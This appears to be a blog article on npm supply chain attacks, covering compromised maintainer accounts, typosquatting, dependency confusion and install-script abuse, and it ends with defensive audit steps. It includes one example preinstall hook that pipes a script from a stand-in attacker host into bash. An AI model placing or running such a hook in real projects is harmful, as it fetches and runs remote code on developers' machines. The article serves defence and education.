The npm registry has 2.5 million packages and a security model that relies primarily on trust. Maintainers publish directly to the registry, packages are downloaded billions of times per week, and a compromised account can push malicious code to the entire dependency tree of thousands of applications within hours.
This has happened. It continues to happen. Here is what you need to know.
The Attack Patterns
Compromised Maintainer Accounts
The most common attack: an attacker gains access to a legitimate maintainer’s npm account, publishes a new version with malicious code, and any project that installs or auto-updates gets the malicious version.
event-stream (2018): 2 million weekly downloads. A new maintainer was added by the original author, then published a version that stole bitcoin wallet data. Affected developers who had the copay-dash wallet in their dependency chain.
ua-parser-js (2021): 7 million weekly downloads. Three malicious versions published in quick succession that installed cryptocurrency miners and credential stealers on Windows and Linux.
node-ipc (2022): The maintainer intentionally added code to his own package that deleted files on computers with Russian or Belarusian IP addresses. This was a deliberate protest, not a compromise - the maintainer used his legitimate access to ship malware.
Typosquatting
Attackers publish packages with names similar to popular packages. Developers who mistype an install command get malware instead:
lodashis real.lodash-utils,lodash-utils2,lodash-utils3have all contained malwareexpressis real.expres,expresjs,express-jshave been maliciousreactis real. Variants with extra characters or slight misspellings are regularly flagged
Typosquatting attacks are particularly effective because they never require compromising a real account.
Dependency Confusion
In 2021, security researcher Alex Birsan published a technique that exploited the way package managers resolve private vs public packages. By publishing public packages with the same names as internal packages used by companies like Apple, Microsoft, and PayPal, he was able to get those packages automatically installed in their build systems.
The attack exploited npm’s preference for higher-version public packages over lower-version private ones. Every major npm registry has since added controls, but the fundamental tension between public and private package namespacing remains.
Malicious Preinstall Scripts
npm packages can run arbitrary scripts on install via the preinstall, install, and postinstall hooks. A package that looks benign can execute malicious code the moment you run npm install.
{
"scripts": {
"preinstall": "curl http://attacker.com/steal.sh | bash"
}
}
The --ignore-scripts flag prevents these from running during install, but many packages need install scripts for legitimate reasons (compiling native modules).
The Highest Risk Packages by Pattern
Rather than a list of specific packages (which changes constantly), these categories have historically had the highest incident rate:
| Category | Risk level | Why |
|---|---|---|
| Color/text manipulation utilities | High | High download count, low maintenance scrutiny |
| CLI helper utilities | High | Often small, single-maintainer, high install scripts |
| Font/icon tools | High | Common typosquatting targets |
| Wallet/crypto utilities | Very high | Financial motivation for attackers |
| Unmaintained packages (last publish >3 years) | High | Accounts often abandoned, easier to compromise |
Popular packages from large organizations (Facebook’s React, Vercel’s Next.js, Google’s Angular) have much better security practices and account security than solo maintainer packages.
How to Audit Your Dependencies
1. Run npm audit
npm audit
This checks against the npm advisory database. It does not catch everything (new compromises are not immediately listed) but catches known vulnerabilities quickly.
2. Check Maintainer Account Security
npm info package-name
Look at the maintainers list. A package with three maintainers that suddenly gains a fourth unknown maintainer is a warning sign.
3. Use Socket.dev
Socket.dev analyzes npm packages for malicious indicators that are not in the advisory database:
- Packages that suddenly added outbound network calls
- Packages with suspicious install scripts
- Packages where the maintainer email changed recently
- Packages with code obfuscation
The GitHub app runs on PRs that add or update dependencies.
4. Dependency Review
GitHub’s Dependency Review Action compares the dependency graph before and after a PR and flags packages with known vulnerabilities or suspicious characteristics.
5. Lock Your Package Versions
npm ci # Use this instead of npm install in CI
npm ci installs exactly the versions in package-lock.json and fails if the lockfile does not exist. This prevents npm install from auto-updating to a compromised new version.
6. Reduce Attack Surface
The most effective long-term strategy: reduce the number of dependencies.
Ask for every dependency:
- Do you actually need this? Can you write the functionality in 20 lines?
- Does this package do one specific thing, or is it a utility grab bag?
- Is it maintained by a large organization or a solo developer?
The is-even package (checking if a number is even) has 100,000 weekly downloads. This is a one-line function that should not be a dependency.
What npm Is Doing About This
npm has added:
- Two-factor authentication requirements for packages with >1000 weekly downloads
- Automated malware detection that scans new packages
- Granular access tokens that limit what CI can publish
- Package provenance - linking published packages to their source repository and CI pipeline
These improvements are meaningful but supply chain attacks continue. The ecosystem is too large and too permissive for the registry alone to prevent all incidents.
Bottom Line
npm supply chain attacks are not rare theoretical events. They happen to packages with millions of weekly downloads, from maintainers who have published for years without incident, and the damage can be significant.
Practical protections: lock your dependencies with package-lock.json and npm ci, run npm audit in CI, add Socket.dev to your dependency review process, and audit your dependency tree for single-maintainer utilities that you could replace with 10 lines of code. The packages with the worst security histories are overwhelmingly small utilities with minimal organizational oversight.
Comments